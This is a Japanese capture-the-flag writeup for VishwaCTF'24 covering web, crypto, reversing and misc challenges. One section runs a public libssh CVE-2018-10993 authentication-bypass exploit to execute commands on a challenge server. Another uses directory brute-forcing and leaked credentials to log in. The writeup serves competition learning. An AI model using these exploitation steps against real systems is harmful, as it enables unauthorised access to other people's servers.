この大会は2024/3/1 19:30(JST)~2024/3/3 19:30(JST)に開催されました。
今回もチームで参戦。結果は3557点で1038チーム中98位でした。
自分で解けた問題をWriteupとして書いておきます。
Welcome to VishwaCTF'24 (Miscellaneous, Beginner)
問題にフラグが書いてあった。
VishwaCTF{arambhah sarvasya dharmasya}
Who am I? (Miscellaneous, Easy)
問題作成者の情報を見るために「@Aditya Gaikwad」のメッセージから見てみる。自己紹介にフラグが書いてあった。
VishwaCTF{1_4m_n0t_4n0nym0u5_4nym0r3}
Sandese Aate hai (Reverse Engineering, Medium)
$ ./Program Original matrix: V i s h w a d 2 3 y 3 C n 2 k 0 v T 4 4 } v 1 F _ m _ h c { y 3 2 d n 4 Encrypted: V h q h w a d 2 3 y 3 C l 2 o 0 p S 4 4 } v 1 N [ m Y h k { y 3 2 d g 4 Encrypted: 86 104 113 104 119 97 100 50 51 121 51 67 108 50 111 48 112 83 52 52 125 118 49 78 91 109 89 104 107 123 121 51 50 100 103 52
回転するようにフラグが出力される。
VishwaCTF{4nd23y_4nd23y3v1ch_m42k0v}
Save The City (Web, Easy)
$ nc 13.234.11.113 32471 -v ec2-13-234-11-113.ap-south-1.compute.amazonaws.com [13.234.11.113] 32471 (?) open SSH-2.0-libssh_0.8.1 Bye Bye $ nmap -sC -sV -Pn -p 32471 13.234.11.113 Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-01 23:27 JST Nmap scan report for ec2-13-234-11-113.ap-south-1.compute.amazonaws.com (13.234.11.113) Host is up (0.14s latency). PORT STATE SERVICE VERSION 32471/tcp open ssh libssh 0.8.1 (protocol 2.0) | ssh-hostkey: |_ 2048 34f332c6e850236a6723bd58a388e3a6 (RSA) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.09 seconds
libssh 0.8.1のexploitを調べると、以下のPoCが見つかる。
https://gist.github.com/mgeeky/a7271536b1d815acfb8060fd8b65bd5d
これを利用してRCEを実行する。
$ python3 cve-2018-10993.py -p 32471 -c ls 13.234.11.113 :: CVE-2018-10993 libSSH authentication bypass exploit. Tries to attack vulnerable libSSH libraries by accessing SSH server without prior authentication. Mariusz B. / mgeeky '18, <mb@binary-offensive.com> v0.1 bin boot dev etc home lib lib64 location.txt media mnt opt proc root run sbin srv ssh_server_fork.patch sys tmp usr var $ python3 cve-2018-10993.py -p 32471 -c "cat location.txt" 13.234.11.113 :: CVE-2018-10993 libSSH authentication bypass exploit. Tries to attack vulnerable libSSH libraries by accessing SSH server without prior authentication. Mariusz B. / mgeeky '18, <mb@binary-offensive.com> v0.1 elrow-club-pune
VishwaCTF{elrow-club-pune}
Trip To Us (Web, Easy)
$ gobuster dir -u https://ch661012148630.ch.eng.run/ -w /usr/share/wordlists/dirb/common.txt -t 100 =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: https://ch661012148630.ch.eng.run/ [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.htpasswd (Status: 403) [Size: 290] /.htaccess (Status: 403) [Size: 290] /.hta (Status: 403) [Size: 290] /backups (Status: 301) [Size: 340] [--> http://ch661012148630.ch.eng.run/backups/] /db (Status: 301) [Size: 335] [--> http://ch661012148630.ch.eng.run/db/] /Images (Status: 301) [Size: 339] [--> http://ch661012148630.ch.eng.run/Images/] /server-status (Status: 403) [Size: 290] Progress: 4614 / 4615 (99.98%) =============================================================== Finished ===============================================================
https://ch661012148630.ch.eng.run/db/にsqlファイルが2つあるので、ダウンロードする。users.sqlには以下が書いてある。
INSERT INTO `users` (`id`, `user_name`, `password`, `name`) VALUES (1, 'admin', 'unbre@k@BLE_24', 'admin');
Click Hereをクリックすると、https://ch661012148630.ch.eng.run/Error.phpに遷移し、以下のメッセージが表示された。
YOU ARE NOT AN IITAIN , GO BACK!!!!!!!
HTMLソースを見ると、以下のように書いてある。
<img src="./Images/GoBack.webp" alt="Change User agent to 'IITIAN'">
BurpでInterceptし、User-Agentを"IITIAN"にしてアクセスしてみる。
https://ch661012148630.ch.eng.run/auth-iit-user.phpに遷移し、ログイン画面が表示された。先ほどのadminユーザの情報でログインしてみると、フラグが表示された。
VishwaCTF{y0u_g0t_th3_7r1p_t0_u5}
They Are Coming (Web, Easy)
https://ch471012155763.ch.eng.run/robots.txtにアクセスすると、以下のように書いてある。
# https://www.robotstxt.org/robotstxt.html User-agent: * Disallow: /admin L3NlY3JldC1sb2NhdGlvbg== Decryption key: th1s_1s_n0t_t5e_f1a9
https://ch471012155763.ch.eng.run/adminにアクセスすると、以下のように表示される。
Unexpected Application Error! 404 Not Found
$ echo L3NlY3JldC1sb2NhdGlvbg== | base64 -d /secret-location
https://ch471012155763.ch.eng.run/secret-locationにアクセスすると、以下のように表示される。
A Courrpt AI Agent and Its Army of 128 Aesthetic Looking Robots Are Heading Towards Local Vault of the City of Dawn!
読み込んでいる/static/js/main.25b1321e.jsに関係ありそうなコードがある。
, yt = ()=>{ localStorage.setItem("userRole", "admin"), localStorage.setItem("F1ag", "Open Your Eyes!"), localStorage.setItem("lastLogin", "2023-01-01T12:00:00Z"), localStorage.setItem("theme", "dark"), localStorage.setItem("language", "en_US"), localStorage.setItem("isLoggedIn", "true"), localStorage.setItem("unreadMessages", "5"), localStorage.setItem("preferredCurrency", "USD"); return localStorage.setItem("DivID", "205"), localStorage.setItem("Flag", "Gkul0oJKhNZ1E8nxwnMY8Ljn1KNEW9G9l+w243EQt0M4si+fhPQdxoaKkHVTGjmA"), localStorage.setItem("AppVer", "1.0"), (0, vt.jsx)(vt.Fragment, { children: (0, vt.jsxs)("div", { className: "hint-main", children: [(0, vt.jsx)("h1", { className: "hint", children: "A Courrpt AI Agent and Its Army of 128 Aesthetic Looking Robots Are Heading Towards Local Vault of the City of Dawn!" }), (0, vt.jsx)("p", { className: "hint1", style: { display: "none" }, children: "I have done 128 cbc tests" })] }) }) }
この情報から以下のことが推測できる。
・フラグを暗号化し、base64エンコードしたものが、"Gkul0oJKhNZ1E8nxwnMY8Ljn1KNEW9G9l+w243EQt0M4si+fhPQdxoaKkHVTGjmA" ・暗号化はAES CBC モード128ビット ・暗号鍵は"th1s_1s_n0t_t5e_f1a9"を元にしたもの
いろいろ試したところ、以下で復号できた。
・暗号鍵:"th1s_1s_n0t_t5e_f1a9"の先頭16バイト ・IV:"\x00" * 16
#!/usr/bin/env python3 from base64 import * from Crypto.Cipher import AES from Crypto.Util.Padding import unpad enc_flag = b'Gkul0oJKhNZ1E8nxwnMY8Ljn1KNEW9G9l+w243EQt0M4si+fhPQdxoaKkHVTGjmA' enc_flag = b64decode(enc_flag) key = b'th1s_1s_n0t_t5e_f1a9'[:16] iv = b'\x00' * 16 cipher = AES.new(key, AES.MODE_CBC, iv) flag = unpad(cipher.decrypt(enc_flag), 16).decode() print(flag)
VishwaCTF{g0_Su88m1t_1t_Qu14kl7}
Happy Valentine's Day (Cryptography, Easy)
pngファイルの先頭8バイトをkeyをしてXORしている。keyはわかっているので、それを使って画像を復号する。
#!/usr/bin/env python3 from itertools import cycle def xor(a, b): return [i ^ j for i, j in zip(a, cycle(b))] key = list(b'\x89PNG\x0d\x0a\x1a\x0a') with open('enc.txt', 'rb') as f: enc = f.read() dec = bytearray(xor(enc, key)) with open('flag.png', 'wb') as f: f.write(dec)
復号した画像にフラグが書いてあった。
VishwaCTF{h3ad3r5_f0r_w1nn3r5}
Poly Fun (Cryptography, Medium)
transform関数の中を整理する。
・最初の分岐では、1~100000のnumberについてどの値も13になる。 ・次の分岐では、1~6のnum1, 1~6のnum2についてどの値も以下の条件を満たす。 int(number / 10) == num1 and number % 10 == num2 ・次の分岐では、generate_random_number()で生成したnumberについてどの値も1089になる。 ・次の分岐では場合によりどちらかの処理を行う。 ただiが8以上の場合はnumの値は小数になるので、iが7以下の場合の処理を行っていると推測する。
以上のことからtransform関数では数値は変わらないことになる。polyの2次関数のみで数値が変わるので、8ビットの文字に対する総当たりで辞書を作成し、元の鍵を求める。AES暗号と推測して、encoded_flag.txtの内容をbase64エンコードしたものをこの鍵で復号する。
#!/usr/bin/env python3 import numpy as np from base64 import * from Crypto.Cipher import AES from Crypto.Util.Padding import unpad for num in range(1, 100000): org = num tmp_n = num tmp_n *= 2 tmp_n += 15 tmp_n *= 3 tmp_n += 33 tmp_n /= 6 tmp_n -= org assert tmp_n == 13 for num1 in range(1, 7): for num2 in range(1, 7): tmp_n = num1 * 2 tmp_n += 5 tmp_n *= 5 tmp_n += num2 tmp_n -= 25 assert int(tmp_n / 10) == num1 and tmp_n % 10 == num2 nums = [] for num in range(100, 1000): first_digit = num // 100 last_digit = num % 10 if abs(first_digit - last_digit) > 1: nums.append(num) for num in nums: num1 = int(''.join(sorted(str(num), reverse=True))) num2 = int(''.join(sorted(str(num)))) diff = abs(num1 - num2) rev_diff = int(str(diff)[::-1]) tmp_n = diff + rev_diff assert tmp_n == 1089 nums = [] for num in range(1000, 10000): if num % 1111 != 0: nums.append(num) for num in nums: i = 0 tmp_n = num while tmp_n != 6174: digits = [int(d) for d in str(tmp_n)] digits.sort() smallest = int(''.join(map(str, digits))) digits.reverse() largest = int(''.join(map(str, digits))) tmp_n = largest - smallest i += 1 if i == 8: break for num in range(256): org = num tmp_n = num tmp_n *= 2 tmp_n += 7 tmp_n += 5 tmp_n -= 12 tmp_n -= org tmp_n += 4 tmp_n *= 2 tmp_n -= 8 tmp_n -= org assert tmp_n == num polyc = [4, 3, 7] poly = np.poly1d(polyc) dic = {} for num in range(256): dic[int(poly(num))] = num with open('encoded_key.txt', 'r', encoding='utf_8') as f: enc_key = f.read() key = '' for ck in enc_key: key += chr(dic[ord(ck)]) print('[+] key:', key) with open('encoded_flag.txt', 'r') as f: enc_flag = f.read() enc_flag = b64decode(enc_flag) cipher = AES.new(key.encode(), AES.MODE_ECB) flag = unpad(cipher.decrypt(enc_flag), 16).decode() print('[*] flag:', flag)
実行結果は以下の通り。
[+] key: 12345678910111213141516171819202 [*] flag: VishwaCTF{s33_1_t0ld_y0u_1t_w45_345y}
VishwaCTF{s33_1_t0ld_y0u_1t_w45_345y}
Lets smother the King! (Cryptography, Medium)
Malbolgeというesolangと推測し、https://malbolge.doleczek.pl/で実行すると、以下のデータが出力される。
White- Ke1,Qe5,Rc1,Rh1,Ne6,a2,b3,d2,f2,h2 Black- Ka8,Qh3,Rg8,Rh8,Bg7,a7,b7,e4,g2,g6,h7
https://chess-bot.com/online_calculator/next_best_move.htmlで上記を配置する。配置データは以下の通り。
k5rr/pp4bp/4N1pq/4Q3/4p3/1P6/P2P1PpP/2R1K2R w KQ
Calculate positionで動きを確認する。その際チェックは"+"、駒取りは"x"、チェックメイトは"#"の記号を入れるようにする。
1.[White] Nc7+ 2.[Black] Kb8 3.[White] Na6+ 4.[Black] Ka8 5.[White] Qb8+ 6.[Black] Rxb8 7.[White] Nc7#
VishwaCTF{Nc7+_Kb8_Na6+_Ka8_Qb8+_Rxb8_Nc7#}
Teyvat Tales (Cryptography, Medium)
script.jsを見れば、4つの入力に何を入力すればよいかわかる。
1: enigma m3 2: ukw c 3: rotor1 i p m rotor2 iv a o rotor3 vi i n 4: vi sh wa ct fx
現れる文字列は以下の通り。
CYNIPJ_RE_LSKR-YAZN_MBSJ
Enigma machineの復号の問題で、4はプラグボードのパラメータになっている。https://cryptii.com/pipes/enigma-machineで復号する。
復号結果は以下の通り。
beware_of_tone-deaf_bard
VishwaCTF{beware_of_tone-deaf_bard}
Intellectual Heir (Cryptography, Hard)
Pythonコードが入っているが、コードの処理は正確ではないので、推測する必要がある。
まずmsgを算出する必要がありそう。関係するコードは以下のようになっている。
f = (? * ?) #cant remember what goes in the question mark e = #what is usually used encrypted = pow(msg, e, f)
fの値はわからない。eはおそらく65537と推測できる。encryptedの値がfile.txtに出力されていると思われる。
またfに値に結びつきそうなコードは以下のようになっている。
#bamm!! protection for primes number = bin = bin(number)[2:] #bamm!! bamm!! double protection for primes bin_arr = np.array(list(bin), dtype=int) result = np.sin(bin_arr) result = np.cos(bin_arr) np.savetxt("file1", result) np.savetxt("file2", result)
numberは不明だが、binは2進数文字列になっている。それのsin、cosの配列があり、file1.txtとfile2.txtに出力されている。
file1.txtの冒頭の値を確認してみる。
5.403023058681397650e-01 1.000000000000000000e+00 5.403023058681397650e-01 1.000000000000000000e+00 5.403023058681397650e-01 1.000000000000000000e+00 1.000000000000000000e+00 5.403023058681397650e-01
file2.txtの冒頭の値を確認してみる。
8.414709848078965049e-01 0.000000000000000000e+00 0.000000000000000000e+00 0.000000000000000000e+00 0.000000000000000000e+00 8.414709848078965049e-01 0.000000000000000000e+00 0.000000000000000000e+00
>>> import numpy as np >>> bin = '101101' >>> bin_arr = np.array(list(bin), dtype=int) >>> bin_arr array([1, 0, 1, 1, 0, 1]) >>> result = np.sin(bin_arr) >>> result array([0.84147098, 0. , 0.84147098, 0.84147098, 0. , 0.84147098]) >>> result = np.cos(bin_arr) >>> result array([0.54030231, 1. , 0.54030231, 0.54030231, 1. , 0.54030231])
この結果からfile1とfile2は逆になっているが、対応付けはできる。
file1.txtについては、以下のように対応づけられる。
・5.403023058681397650e-01 → "1" ・1.000000000000000000e+00 → "0"
file2.txtについては、以下のように対応づけられる。
・8.414709848078965049e-01 → "1" ・0.000000000000000000e+00 → "0"
あとはそれを2進数として整数にすればp, qになると推測して、RSA暗号としてmsgを復号する。msgは入力文字列のASCIIコードを文字列として結合したものなので、32以上126以下になるよう区切ってデコードする。
あとはフラグの形式にすればフラグになる。
#!/usr/bin/env python3 from Crypto.Util.number import * with open('file1.txt', 'r') as f: lines1 = f.read().splitlines() with open('file2.txt', 'r') as f: lines2 = f.read().splitlines() p = '' for line in lines1: if line == '5.403023058681397650e-01': p += '1' else: p += '0' q = '' for line in lines2: if line == '8.414709848078965049e-01': q += '1' else: q += '0' p = int(p, 2) q = int(q, 2) with open('file.txt', 'r') as f: c = int(f.read()) e = 65537 phi = (p - 1) * (q - 1) d = inverse(e, phi) msg = pow(c, d, p * q) result = str(msg) input_string = '' code = '' for i in range(len(result)): code += result[i] if int(code) >= 32 and int(code) < 127: input_string += chr(int(code)) code = '' flag = 'VishwaCTF{%s}' % input_string print(flag)
VishwaCTF{Y0U_@R3_T#3_W0RT#Y_OF_3}
BitBane - Cryptic Chaos (Cryptography, Hard)
暗号化処理の概要は以下の通り。
・data: フラグ ・encryption: int型の空配列 ・key = "VishwaCTF" ・encode(encryption, data, key) ・dataの長さだけ以下繰り返し ・curr: dataのi番目の文字のASCIIコード ・idx = (i % 8) + 2 ・num = create(curr, idx) ・not_remainder = 0 ・topping = createTopping(curr, idx, not_remainder) ・temp = 0 ・num = 1 ・num = num << 1 = 2 ・currが0以外の間以下繰り返し ・remainder = curr % idx ・remainderが0以外の場合 ・temp = temp * 10 + remainder ・curr = curr - remainder ・remainderが0の場合 ・num = num | 1 ・curr = curr / idx ・temp = temp << 1 ・temp = temp | 1 ・not_remainder = temp ・base = createBase(not_remainder) ・num = 0 ・30回以下繰り返し ・not_remainderが0以外の間以下繰り返し ・num = num | (not_remainder & 1) ・not_remainder = not_remainder >> 1 ・num = num << 1 ・numを返却 ・encryption.push_back(num) ・applyKey(encryption, key) ・n: keyの長さ ・nだけ以下繰り返し(i) ・curr = keyのi番目の文字のASCIIコード ・cnt = 0 ・cpy = curr ・cpyが0以外の間以下繰り返し ・cpyの最下位ビットが立っている場合 ・cntをプラス1 ・cpy = cpy >> 1 ・curr = curr << (i + 10) ・cntが0以外の間以下繰り返し ・cntをマイナス1 ・curr = curr << 1 ・curr = curr ^ 1 ・k: encryptionの長さ ・kだけ以下繰り返し(j) ・encryption[j] = encryption[j] ^ curr ・extraSecurity(encryption) ・n: encryptionの長さ ・nだけ以下繰り返し(i) ・idx = i + 2 ・res = checkValidity(idx) ・iが2以上i*iがnum未満の間 ・num % iが0の場合 ・falseを返却 ・trueを返却 ・resがtrueの場合 ・encryption[i] = ~encryption[i] ・writeToFile(encryption) ・encryptionの各値をスペース区切りでEncrypted.txtに出力
1バイトずつ処理をしているので、ブルートフォースで復号する。
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <stdbool.h> #define LEN 55 int createTopping(int curr, int idx, int *not_remainder) { int temp = 0; int num = 1; num = num << 1; while (curr) { int remainder = curr % idx; if (remainder) { temp = temp * 10 + remainder; curr = curr - remainder; } else { num = num | 1; curr = curr / idx; } num = num << 1; } temp = temp << 1; temp = temp | 1; *not_remainder = temp; return num | 1; } int createBase(int not_remainder) { int num = 0; for (int i = 0; i < 30; ++i) { if (not_remainder) { num = num | (not_remainder & 1); not_remainder = not_remainder >> 1; } num = num << 1; } return num; } int create(int curr, int idx) { int not_remainder = 0; int topping = createTopping(curr, idx, ¬_remainder); int base = createBase(not_remainder); int num = base | topping; return num; } bool checkValidity(int num) { for (int i = 2; i * i < num; ++i) { if (num % i == 0) return false; } return true; } int extraSecurity(int curr, int index) { int idx = index + 2; if (checkValidity(idx)) { curr = ~curr; } return curr; } int encode(int curr, int index) { int idx = (index % 8) + 2; int num = create(curr, idx); return num; } int makeXorKey(char *key) { int xor_key = 0; int n = strlen(key); for (int i = 0; i < n; ++i) { int curr = key[i]; int cnt = 0; int cpy = curr; while (cpy) { if (cpy & 1) ++cnt; cpy = cpy >> 1; } curr = curr << (i + 10); while (cnt--) { curr = curr << 1; curr = curr ^ 1; } xor_key = xor_key ^ curr; } return xor_key; } void main() { FILE *fp; int c; int ii = 0, jj = 0; char buf[16]; int encryption[LEN]; fp = fopen("Encrypted.txt", "r"); while (true) { c = fgetc(fp); if (c == EOF) { break; } else if (c == 32) { buf[ii] = 0; encryption[jj] = atoi(buf); ii = 0; jj++; } else { buf[ii] = c; ii++; } } char key[10] = "VishwaCTF\0"; int newkey = makeXorKey(key); int num; char flag[56] = {0}; for (int i = 0; i < LEN; i++) { for (int code = 32; code < 127; code++) { num = encode(code, i); num = num ^ newkey; num = extraSecurity(num, i); if (num == encryption[i]) { flag[i] = code; break; } } } printf("%s\n", flag); }
VishwaCTF{BIT5_3NCRYPT3D_D3CRYPTED_M1ND5_D33PLY_TE5T3D}
Feedback (Miscellaneous, Beginner)
アンケートに答えたら、フラグが表示された。
VishwaCTF{th4nk_y0u_f0r_p4rt1c1pat1ng_in_VishwaCTF'24}